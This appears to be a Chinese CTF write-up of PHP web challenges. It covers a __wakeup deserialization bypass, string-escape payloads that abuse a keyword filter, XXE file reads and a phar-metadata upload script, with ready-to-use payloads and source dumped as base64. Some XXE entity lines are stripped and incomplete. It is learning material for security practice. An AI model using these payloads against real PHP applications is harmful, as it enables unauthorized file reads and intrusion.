题目:
思路:
根据题目提示,存在备份文件,使用御剑或者disteach进行查找,找到www.zip,下载源码进行源码分析,然后构造对应反序列化参数即可
源码分析:
class Name{
public $username;
public $password;
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "NO!!!hacker!!!";
echo "You name is: ";
echo $this->username;echo "";
echo "You password is: ";
echo $this->password;echo "";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "hello my friend~~sorry i can't give you the flag!";
die();
}
}
}
unserialize($_GET['a']);
?>
使用_wakeup
,__destruct
,以及结尾unserialize($_GET['a']);
表示本题要采用反编译,传入参数为password=100;username=admina
传入的方法是a
正常传参payload应为
?username=admin&password=100
直接构造反序列化语句
O:4:"Name":2:{s:8:"username";s:5:"admin";s:8:"password";s:3:"100";}
构造说明:其实就是表示某一项参数(或数值)的类型(s表示字符串,i表示int,数字为数值字符长度,数值需要用”“括起来)
代码构造,通过php在线网站运行即可
class Name {
public $username = 'admin';
public $password = '100';
}
$o = new Name();
print_r(urlencode(serialize($o)));
?>
O%3A4%3A%22Name%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3Bs%3A3%3A%22100%22%3B%7D
以url编码的形式更加安全更加准确
输入以下payload:
?a=O%3A4%3A%22Name%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3Bs%3A3%3A%22100%22%3B%7D
?a=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3Bs%3A3%3A%22100%22%3B%7D
或者
?a=O:4:"Name":3:{s:8:"username";s:5:"admin";s:8:"password";s:3:"100";}
原因是当序列化字符串当中属性个数值大于实际的属性个数时,就会导致反序列化异常,从而跳过__wakeup函数。
题目:
思路:
题目中说明了,username与password分别为admin和admin888,其次’user pass dir’ by ‘GET’ to get your file. Oh flag is in /flag,user、pass、dir为传入参数
测试
?user=admin&pass=admin888&dir=index.php
index.php为猜测内容,其实可以这样理解,di为访问路径,应该输入/flag,可以测试index.php
代码审计
__construct
、__destruct
为反序列化标志
function filter($data){
$filter_arr = array('admin','admin1','root');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'guest',$data);
}
//构建array数组,其中含有admin、admin1、root三组,如果输入内容不是数组内容则输出guest
if (isset($_GET['user']) && isset($_GET['pass']) && isset($_GET['dir'])) {
$user = $_GET['user'];
$pass = $_GET['pass'];
$dir = $_GET['dir'];
} else {
die("This is an file-reading. Your username and password is admin/admin888. Please send me 'user pass dir' by 'GET' to get your file. Oh flag is in /flag");
}
//必须输入user、pass、dir三个参数
$get = serialize($_GET);
$data = unserialize(filter($get));
if (preg_match('/flag/i', $dir)) {
die('NOT flag!!!!!!!!');
}
//dir不能有flag
构建payload
?user=admin&pass=admin888&dir=/flag
//应构建语句
a:2:{s:4:"user";s:5:"admin";s:4:"pass";s:8:"admin888";s:3:"dir";s:5:"/flag";}
//反序列化语句
a:2:{s:4:"user";s:5:"rootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootroot";s:4:"pass";s:8:"admin888";s:3:"dir";s:5:"/flag";}";s:4:"pass";s:8:"admin888";s:3:"dir";s:5:"/flag";}
//反序列化字符逃逸
?user=rootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootroot";s:4:"pass";s:8:"admin888";s:3:"dir";s:5:"/flag";}&pass=admin888&dir=/fla*
//payload语句root共有51个,用于溢出后面字符
?user=a&pass=rootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootroot";s:3:"dir";s:5:"/flag";}&dir=aaaa
//另一种
构造原理题记详解
测试,通过读取index.php源码获取详细内容(一般xxe的题目,都可输入以下语句进行测试)
]>
<test>
&hhh;
test>
//其他语句详见8月6日
base64:
PD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwppbmNsdWRlKCIuL2NvbmZpZy5waHAiKTsKZGF0ZV9kZWZhdWx0X3RpbWV6b25lX3NldCgiUFJDIik7CgppZighZW1wdHkoJF9QT1NUWydzdWJtaXQnXSkpewokZGF0YT0gJF9QT1NUWydkYXRhJ107CmlmIChwcmVnX21hdGNoKCIvZmxhZ3xmdHB8I3xkYXRhfGZpbGV8ZGVjb2RlL2kiLCRkYXRhKSl7CgllY2hvICJubyEhISI7CglleGl0KCk7Cn0KCiR4bWwgPSBzaW1wbGV4bWxfbG9hZF9zdHJpbmcoJGRhdGEsJ1NpbXBsZVhNTEVsZW1lbnQnLExJQlhNTF9OT0VOVCk7CgpwcmludF9yKCR4bWwpOwp9Cgo
html:
读取config.php
xml
]>
&hhh;
base64
PD9waHAKY2xhc3MgRmlsZXsKCXB1YmxpYyAgJGZpbGV0eXBlOwoJcHVibGljICAkZmlsZW5hbWU7CiAgICBwdWJsaWMgZnVuY3Rpb24gX193YWtldXAoKXsKICAgICAgICBlY2hvICJ3YWtlIHVwICI7CiAgICAgICAgdmFyX2R1bXAocmVhZGZpbGUoInBocDovL2ZpbHRlci9yZWFkPWNvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT1mbGFnLnBocCIpKTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gY2hlY2soJGZpbGV0eXBlLCRmaWxlbmFtZSl7CiAgICAJJGZpbGVuYW1lID0gJGZpbGVuYW1lOwogICAgCSRmaWxldHlwZSA9ICRmaWxldHlwZTsKCiAgICAJaWYgKCgkZmlsZXR5cGUhPSJpbWFnZS9qcGciKSYmKHN1YnN0cigkZmlsZW5hbWUsIHN0cnJwb3MoJGZpbGVuYW1lLCAnLicpKzEpKSE9ICdqcGcnKSB7CiAgICAgICAgICAgIGVjaG8gIuWPquWFgeiuuOS4iuS8oGpwZ
html
根据config.php的显示提示__wakeup
为反序列化,可通过反序列化后直接调出下列语句,反序列化的参数包含类名:File、变量名filename(=文件名.jpg)与filetype(=image/jpg)
var_dump(readfile("php://filter/read=convert.base64-encode/resource=flag.php"));
同时要求,上传文件格式为jpg名字中也要包含.jpg
构造php语句,如果需要上传图片的化采用phar的形式
class File
{
public $filename='jsshell.jpg';
public $filetype='image/jpg';
function __construct()
{
echo "zhe jiu shi ai";
}
}
@unlink("cl4y.phar"); //删除当前目录下的cl4y.phar
$phar = new Phar("cl4y.phar"); //新建一个phar对象,并写入cl4y.phar文件中,文件后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a".""); //设置stub并添加为jpg格式
$o = new File(); //实例化一个类作为自定义的meta-data
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("cl4y.txt", "content"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
生产对应的phar文件(环境有问题,虚拟机换了好几个版本仍旧不行,我切换到本地实现)
上传抓包修改
注意修改这个两个地方,确保和phar中一样
go以后,右侧获取到传递地址
在index.php中编写xxe语句
]>
<test>
&hhh;
test>
//通过构造phar伪协议实现xxe漏洞注入,详情可查看8月5日xxe笔记
base64
wake up PD9waHAKZWNobyAiZmxhZyBpcyBpbiBtZX4iOwokZmxhZz0iU3lje1h4ZStGNG5YdWxpMUh1NC1pUy1BbWF6aW5nfSI7Cj8+Cg==int(100)
//解码获取flag